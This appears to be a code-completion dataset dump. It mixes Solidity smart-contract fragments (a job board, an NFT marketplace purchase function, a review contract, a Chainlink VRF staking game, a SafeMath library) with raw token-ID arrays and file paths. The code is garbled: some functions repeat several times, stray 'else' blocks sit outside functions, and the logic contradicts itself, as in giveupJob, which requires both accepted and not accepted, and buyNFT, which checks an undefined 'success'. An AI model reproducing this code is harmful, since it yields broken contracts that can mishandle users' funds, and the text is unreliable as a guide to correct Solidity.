_thisjob.stat = status.open; } emit jobRefresh(); } function finishJob(uint256 _number) public { Job storage _thisjob = job[_number]; require( _thisjob.stat == status.workerDone, "Worker doesn't finised job or Already finished job" ); require( msg.sender == _thisjob.writer, "Only Writer can finish the job" ); _thisjob.stat = status.finish; paying(_thisjob.accepter, (_thisjob.reward + _thisjob.dontdisturb)); emit jobRefresh(); } function giveupJob(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (msg.sender == _thisjob.writer) { require( !_thisjob.accepted, "You Can not Close Your Job while Someone is Working for you" ); _thisjob.stat = status.finish; paying(_thisjob.writer, _thisjob.reward); require( _thisjob.accepted, "Job Is Not Started. So There is no way to give up" ); _thisjob.accepted = false; _thisjob.contact = ""; paying(_thisjob.accepter, _thisjob.dontdisturb); _thisjob.accepter = _thisjob.writer; } emit jobRefresh(); } function giveupJob(uint256 _number) public { require( _number < job.length && _number >= 0, "You Are Looking For A Wrong Job" ); Job storage _thisjob = job[_number]; require( msg.sender == _thisjob.accepter, "You Are Not the Member of Job. Please Check your Wallet Address" ); require( _thisjob.stat != status.finish, "This Job is Done. Job Good Job Bad Job" ); if (msg.sender == _thisjob.writer) { require( !_thisjob.accepted, "You Can not Close Your Job while Someone is Working for you" ); _thisjob.stat = status.finish; paying(_thisjob.writer, _thisjob.reward); require( _thisjob.accepted, "Job Is Not Started. So There is no way to give up" ); _thisjob.accepted = false; _thisjob.contact = ""; paying(_thisjob.accepter, _thisjob.dontdisturb); _thisjob.accepter = _thisjob.writer; } emit jobRefresh(); } } else { function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; break; } _returnCounter++; } return _jobs; } function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; break; } _returnCounter++; } return _jobs; } function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; break; } _returnCounter++; } return _jobs; } function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; break; } _returnCounter++; } return _jobs; } function getPaginatedSquares(uint256 _page, uint256 _resultsPerPage) public view returns (Job[] memory) { uint256 _jobIndex = _resultsPerPage * _page - _resultsPerPage; if (job.length == 0 || _jobIndex > job.length - 1) { return new Job[](0); } uint256 _size = _resultsPerPage; if (_page * _resultsPerPage > job.length) { _size = job.length % _resultsPerPage; } Job[] memory _jobs = new Job[](_size); uint256 _returnCounter = 0; for (_jobIndex; _jobIndex < _resultsPerPage * _page; _jobIndex++) { if (_jobIndex < job.length) { _jobs[_returnCounter] = job[_jobIndex]; break; } _returnCounter++; } return _jobs; } } else { }
2,573,014
[ 1, 3190, 273, 225, 171, 118, 110, 173, 256, 121, 173, 102, 244, 4076, 273, 225, 173, 256, 125, 173, 256, 251, 225, 173, 100, 232, 172, 101, 239, 4322, 7387, 273, 225, 173, 235, 251, 172, 256, 126, 173, 257, 243, 171, 113, 227, 225, 173, 256, 125, 173, 256, 231, 225, 172, 228, 256, 172, 229, 117, 171, 116, 259, 225, 172, 239, 227, 171, 121, 113, 173, 102, 244, 324, 8464, 7387, 273, 225, 173, 256, 125, 173, 256, 251, 225, 173, 259, 255, 173, 248, 235, 173, 257, 243, 171, 113, 227, 225, 173, 256, 125, 173, 256, 251, 225, 173, 120, 106, 173, 233, 239, 172, 103, 125, 225, 173, 254, 243, 174, 248, 106, 261, 173, 256, 125, 173, 256, 231, 225, 173, 235, 251, 172, 256, 126, 174, 248, 255, 225, 173, 257, 243, 171, 113, 227, 225, 173, 257, 235, 173, 2 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
[ 1, 16351, 28932, 4688, 288, 203, 203, 203, 565, 2792, 1267, 288, 3190, 16, 4076, 16, 4322, 7387, 97, 203, 565, 1958, 3956, 288, 203, 3639, 2254, 5034, 612, 31, 203, 3639, 1758, 2633, 31, 203, 3639, 533, 2077, 31, 203, 3639, 533, 913, 31, 203, 3639, 2254, 5034, 14096, 31, 203, 3639, 2254, 5034, 19890, 31, 203, 3639, 2254, 5034, 14046, 4413, 15850, 31, 203, 3639, 1426, 8494, 31, 203, 3639, 1758, 2791, 264, 31, 203, 3639, 1267, 610, 31, 203, 565, 289, 203, 203, 565, 3956, 8526, 1071, 1719, 31, 203, 203, 565, 871, 1719, 8323, 5621, 203, 203, 565, 2254, 5034, 1071, 2256, 1248, 5133, 15850, 273, 374, 18, 1611, 225, 2437, 31, 203, 565, 2254, 5034, 28932, 4688, 67, 2437, 273, 374, 31, 203, 565, 2254, 5034, 1071, 14036, 67, 2107, 7385, 273, 1728, 31, 203, 565, 2254, 5034, 1071, 14036, 67, 13002, 26721, 273, 2130, 31, 203, 203, 565, 1758, 1071, 3410, 31, 203, 203, 565, 2254, 5034, 1071, 1603, 8924, 273, 374, 18, 6260, 225, 2437, 31, 203, 203, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 1769, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 565, 3885, 1435, 288, 203, 3639, 3410, 273, 1234, 18, 15330, 31, 203, 565, 289, 203, 203, 565, 445, 5765, 3349, 8924, 12, 11890, 5034, 460, 13, 1071, 1338, 5541, 288, 203, 3639, 1603, 8924, 273, 460, 31, 203, 565, 289, 203, 203, 565, 445, 5765, 3244, 1248, 5133, 15850, 12, 11890, 5034, 460, 13, 2 ]
./full_match/44787/0x1a86752A620b0008b3FdE468c45c45FAAe125238/sources/contracts/Main.sol
Update Amount Nft Available for OwnerUpdate Owned Token info for ownerUpdate or create Owned Token info for buyer
function buyNFT( address owner, address buyer, uint256 tokenId, uint256 amount ) external payable override { require( msg.value >= (nftPrice[tokenId] * amount), "Main: Not enough buying amount" ); uint256 tokenAmount = NFT(tokenAddress).balanceOf(owner, tokenId); require(tokenAmount >= amount, "Main: Not enough token available"); NFT(tokenAddress).safeTransferFrom(owner, buyer, tokenId, amount, ""); uint256 index; bytes32 data; nftAvailableAmount[tokenId].amount -= amount; data = keccak256(abi.encode(owner, tokenId)); index = ownedTokensIndex[data]; ownedTokens[owner][index].amount -= amount; data = keccak256(abi.encode(buyer, tokenId)); index = ownedTokensIndex[data]; if (ownedTokens[buyer].length > 0) { if (ownedTokens[buyer][index].tokenId == tokenId) { ownedTokens[buyer][index].amount += amount; data = keccak256(abi.encode(owner, tokenId)); index = ownedTokensIndex[data]; TokenInfo memory info = TokenInfo( buyer, tokenId, amount, ownedTokens[owner][index].nftSellPrice, ownedTokens[owner][index].metauri, ownedTokens[owner][index].fileuri, ownedTokens[owner][index].imageuri ); ownedTokens[buyer].push(info); data = keccak256(abi.encode(buyer, tokenId)); index = ownedTokens[buyer].length - 1; ownedTokensIndex[data] = index; } data = keccak256(abi.encode(owner, tokenId)); index = ownedTokensIndex[data]; TokenInfo memory info = TokenInfo( buyer, tokenId, amount, ownedTokens[owner][index].nftSellPrice, ownedTokens[owner][index].metauri, ownedTokens[owner][index].fileuri, ownedTokens[owner][index].imageuri ); ownedTokens[buyer].push(info); data = keccak256(abi.encode(buyer, tokenId)); index = ownedTokens[buyer].length - 1; ownedTokensIndex[data] = index; } require(success, "NFT Buying Amount failed to send"); emit BuyNFTEvent(owner, buyer, tokenId, amount); }
13,266,357
[ 1, 1891, 16811, 423, 1222, 15633, 364, 16837, 1891, 14223, 11748, 3155, 1123, 364, 3410, 1891, 578, 752, 14223, 11748, 3155, 1123, 364, 27037, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 30143, 50, 4464, 12, 203, 3639, 1758, 3410, 16, 203, 3639, 1758, 27037, 16, 203, 3639, 2254, 5034, 1147, 548, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 3903, 8843, 429, 3849, 288, 203, 3639, 2583, 12, 203, 5411, 1234, 18, 1132, 1545, 261, 82, 1222, 5147, 63, 2316, 548, 65, 380, 3844, 3631, 203, 5411, 315, 6376, 30, 2288, 7304, 30143, 310, 3844, 6, 203, 3639, 11272, 203, 203, 3639, 2254, 5034, 1147, 6275, 273, 423, 4464, 12, 2316, 1887, 2934, 12296, 951, 12, 8443, 16, 1147, 548, 1769, 203, 203, 3639, 2583, 12, 2316, 6275, 1545, 3844, 16, 315, 6376, 30, 2288, 7304, 1147, 2319, 8863, 203, 203, 3639, 423, 4464, 12, 2316, 1887, 2934, 4626, 5912, 1265, 12, 8443, 16, 27037, 16, 1147, 548, 16, 3844, 16, 1408, 1769, 203, 203, 3639, 2254, 5034, 770, 31, 203, 3639, 1731, 1578, 501, 31, 203, 203, 3639, 290, 1222, 5268, 6275, 63, 2316, 548, 8009, 8949, 3947, 3844, 31, 203, 203, 3639, 501, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 12, 8443, 16, 1147, 548, 10019, 203, 3639, 770, 273, 16199, 5157, 1016, 63, 892, 15533, 203, 3639, 16199, 5157, 63, 8443, 6362, 1615, 8009, 8949, 3947, 3844, 31, 203, 203, 3639, 501, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 12, 70, 16213, 16, 1147, 548, 10019, 203, 3639, 770, 273, 16199, 5157, 1016, 63, 892, 15533, 203, 203, 3639, 309, 261, 995, 329, 5157, 63, 70, 16213, 8009, 2469, 405, 374, 13, 288, 203, 5411, 2 ]
pragma solidity ^0.4.18; //pragma experimental ABIEncoderV2; contract reviewing { mapping(address => mapping(uint256 =>string)) public reviews; // This is for storing the review w.r.t address and review count from that address mapping(address => mapping(uint256 =>uint8)) public reviewlike; // This is for storing if a particular person has liked a comment for not using that person's account address and review count and liked or not(0 for not liked and 1 for liked) mapping(address=>mapping(string=>uint8)) likerlimit; // An address can like a review only once. Storing if that address has already liked. mapping(address => uint256) YourCounter; // Total reviews mapping(uint256 =>string) searchreview; // Unique Id for each review. mapping(uint256=>address)uniquereview; // Unique Id's w.r.t addresses. address owner; uint256 countVar=0; constructor() public { owner = msg.sender; } // function to write the review function WriteReview(string tell) public returns (uint256,address,bool) { address reviewer=msg.sender; YourCounter[reviewer] +=1; reviews[reviewer][YourCounter[reviewer]] = tell; reviewlike[reviewer][YourCounter[reviewer]] =0; countVar++; searchreview[countVar] = tell; uniquereview[countVar] = msg.sender; return (YourCounter[reviewer],reviewer,true); } // function to delete the review function RemoveReview(uint256 RemoveId,address RemoveAddress) public returns(bool) { if(msg.sender==owner) { delete reviews[RemoveAddress][RemoveId]; countVar--; return true; YourCounter[RemoveAddress] -=1; } return false; } // function to see the review function SeeReview(address getting, uint256 __id) public view returns(string) { return(reviews[getting][__id]); } // function to get total reviews function YourCount(address _add) public view returns(uint256) { return (YourCounter[_add]); } // function to like the review function LikeReview(address likeadd,uint256 __id) public returns(string say){ if(likerlimit[msg.sender][reviews[likeadd][__id]] ==0) { reviewlike[likeadd][__id] +=1; likerlimit[msg.sender][reviews[likeadd][__id]] =1; say= "Either you like his review or You must be really liking that Person :p"; return say; } return "oops"; } // function to search for the review function SearchComment(string str) public view returns(uint256,address) { for(uint i=0;i<=countVar;i++) { if(keccak256(abi.encodePacked((searchreview[i]))) == keccak256(abi.encodePacked((str)))){ return (i,uniquereview[i]); } } } }
function to search for the review
function SearchComment(string str) public view returns(uint256,address) { for(uint i=0;i<=countVar;i++) { if(keccak256(abi.encodePacked((searchreview[i]))) == keccak256(abi.encodePacked((str)))){ return (i,uniquereview[i]); } } }
12,938,894
[ 1, 915, 358, 1623, 364, 326, 10725, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 540, 445, 5167, 4469, 12, 1080, 609, 13, 1071, 1476, 1135, 12, 11890, 5034, 16, 2867, 13, 288, 203, 1850, 203, 1850, 203, 1850, 203, 5411, 364, 12, 11890, 277, 33, 20, 31, 77, 32, 33, 1883, 1537, 31, 77, 27245, 288, 203, 9079, 203, 7734, 309, 12, 79, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12443, 3072, 16041, 63, 77, 65, 20349, 422, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12443, 701, 3719, 3719, 95, 203, 10792, 327, 261, 77, 16, 318, 18988, 822, 1945, 63, 77, 19226, 203, 7734, 289, 203, 1171, 203, 7734, 289, 203, 7734, 203, 5411, 289, 203, 2868, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity >=0.8.0; import "@chainlink/contracts/src/v0.8/dev/VRFConsumerBase.sol"; import "./SpartenToken.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; //SPDX-License-Identifier: UNLICENSED contract StakingContract is VRFConsumerBase { using SafeMath for uint256; /*================================================== structs start ==================================================*/ struct Session { string tokenURI; uint256 timeStart; uint256 timeEnd; uint256 sessionID; //@dev this is the random seed passed in by the user uint256 difficultyIncrementor; //@dev generated by the chailink VFR bytes32 sessionRequestId; //@dev used to generate random number by the chainlink vfr uint256 tokenForGrabsValue; //@dev represents the token value to be issued to the a user this value is accumalation of all player fee in this round uint256 ethStaked; //@dev represents the amount of eth staked so far from players uint256 tokenID; mapping (address=>Player) currentPlayers; address [] playerIDs; bool active; bool initialised; bool awaitingID; //@dev indicates if the session is awaiting the random difficulty incrementor to assigned or not } struct Player { address playerID; bytes32 [] sessions; bytes32 [] sessionsWon; bool active; } /*================================================== events start ==================================================*/ event createdSession(uint256 indexed randomSeed,bytes32 indexed requestId); /*================================================== tokens start ==================================================*/ SpartenToken erc721Token; /*================================================== storage start ==================================================*/ bytes32 [] totalSessionsKeys; //@dev represents all sessions which the contract has created address [] playerKeys; //@dev represents all player keys that have played a game mapping(address => Player) players; //@dev represents all players who have played the game mapping(bytes32 => Session) sessions; //@dev represents all sessions that have been created uint256 [] tokensIssued; //@dev represents all tokens which have been issued to winners /*================================================== variables start ==================================================*/ uint256 internal totalEarned; address internal admin; uint internal gameFeeCut=20 gwei; uint256 public constant roundDuration = 1 days; uint256 public constant joinFee = 100 gwei; // fee a user needs to pay to play bytes32 internal parentKeyHash; uint256 internal linkFee; uint256 internal maxGamesPerDay = 10; uint public currentSessions; constructor(address erc721TokenAddress ,address vrfCoordinator, address linkToken,bytes32 keyHash) VRFConsumerBase(vrfCoordinator, linkToken) { require(erc721TokenAddress != address(0) || vrfCoordinator != address(0) || linkToken != address(0), "Zero address"); //Randomness parentKeyHash = keyHash; linkFee = 0.1 * 10 ** 18; //init nft token erc721Token = SpartenToken(erc721TokenAddress); admin = msg.sender; //@dev assign contract admin totalEarned=0; currentSessions =0; totalEarned=0; } /*================================================== Game Functions start ==================================================*/ /*** * @dev the function is used to create a new game session @notice the token to be issued to a winner will be created once the random difficulty incrementor is generated by the chainlink vfr */ function createNewGame(uint256 randomSeed,string memory tokenData) public payable { require(msg.value >= joinFee, "Amount must be equal to joining fee"); require(currentSessions <= maxGamesPerDay, "Already reached max sessions for the day"); bytes32 requestId = getRandomNumber(randomSeed); require(!sessions[requestId].initialised, "Session already initialised"); if(msg.value > joinFee){ uint256 extraFee = msg.value.sub(joinFee); uint256 normalFee = msg.value.sub(extraFee); uint256 tempGameCut = normalFee.sub(gameFeeCut); totalEarned = totalEarned.add(tempGameCut);///@dev incase the user sends more than the required joinfee sessions[requestId].ethStaked=sessions[requestId].ethStaked.add(normalFee.sub(tempGameCut)); } else{ uint256 tempGameCut = msg.value.sub(gameFeeCut); totalEarned = totalEarned.add(tempGameCut); sessions[requestId].ethStaked=sessions[requestId].ethStaked.add(msg.value.sub(tempGameCut)); } sessions[requestId].tokenURI=tokenData; sessions[requestId].initialised=true; sessions[requestId].sessionID =randomSeed; sessions[requestId].awaitingID=true; sessions[requestId]. sessionRequestId=requestId; sessions[requestId].playerIDs.push(msg.sender); sessions[requestId].currentPlayers[msg.sender].playerID=msg.sender; sessions[requestId].currentPlayers[msg.sender].sessions.push(requestId); sessions[requestId].currentPlayers[msg.sender].active = true; sessions[requestId].timeStart = block.timestamp; sessions[requestId].timeEnd = block.timestamp.add(roundDuration); sessions[requestId].awaitingID=true; sessions[requestId].initialised=true; currentSessions =currentSessions.add(1); players[msg.sender]= sessions[requestId].currentPlayers[msg.sender]; totalSessionsKeys.push(requestId); totalSessionsKeys.push(requestId); playerKeys.push(msg.sender); emit createdSession(randomSeed,requestId); } /**================================================== Game Functions end ==================================================*/ /**================================================== Chainlink Functions start ==================================================*/ /** * Requests randomness from a user-provided seed */ function getRandomNumber(uint256 userProvidedSeed) public returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= linkFee, "Not enough LINK - fill contract with faucet"); return requestRandomness(parentKeyHash, linkFee, userProvidedSeed); } /** * Callback function used by VRF Coordinator */ function fulfillRandomness(bytes32 requestId, uint256 randomness) internal override { sessions[requestId].difficultyIncrementor=randomness; sessions[requestId].tokenID=erc721Token.mintToken(sessions[requestId].tokenURI,address(this)); tokensIssued.push(sessions[requestId].tokenID); sessions[requestId].awaitingID=false; sessions[requestId].active=true; } /*================================================== Chainlink Functions start ==================================================*/ }
@dev generated by the chailink VFR
uint256 difficultyIncrementor;
12,780,530
[ 1, 11168, 635, 326, 462, 671, 754, 776, 9981, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 5034, 3122, 21934, 10798, 280, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^ 0.8.0; import "./RewardToken.sol"; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid 